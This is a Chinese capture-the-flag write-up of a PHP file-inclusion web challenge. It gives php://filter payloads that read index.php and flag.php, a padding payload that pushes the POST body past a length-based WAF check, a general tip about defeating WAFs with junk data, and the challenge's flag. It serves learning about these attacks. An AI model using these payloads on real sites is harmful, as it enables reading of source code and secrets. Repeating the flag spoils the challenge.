[鹏城杯 2022]简单包含

[鹏城杯 2022]简单包含

题目来源:nssctf

题目类型:web

涉及考点:PHP伪协议

1. 题目页面给了一条flag路径,先试着POST传参进去

发现存在WAF,这时候考虑获取当前页面的源码以查看绕过规则(猜测过滤掉了flag),因此传入:

flag=php://filter/read=convert.base64-encode/resource=index.php

base64解码后得到php代码如下:

<?php
$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

2. 代码审计

根据上面得到的代码,我们可以知道当读取的长度大于等于800时即可绕过WAF,因此构造payload如下:

1=1&1=1&1=1&....(此处忽略无数个)1=1&flag=php://filter/read=convert.base64-encode/resource=flag.php

解码后得到flag:

NSSCTF{0664e4f0-fd8b-4984-aeb6-4e55af02b197}

3. 脏数据绕过WAF

某些WAF处理POST的数据时,只会检测开头的8K,后面选择全部放过。因此可以传入一段长数据使WAF失效,从而实现绕过WAF

这篇是补昨天的一篇

日期:2023.8.4

作者:y0Zero

posted @ 2023-08-04 17:10  y0Zero  阅读(641)  评论(0编辑  收藏  举报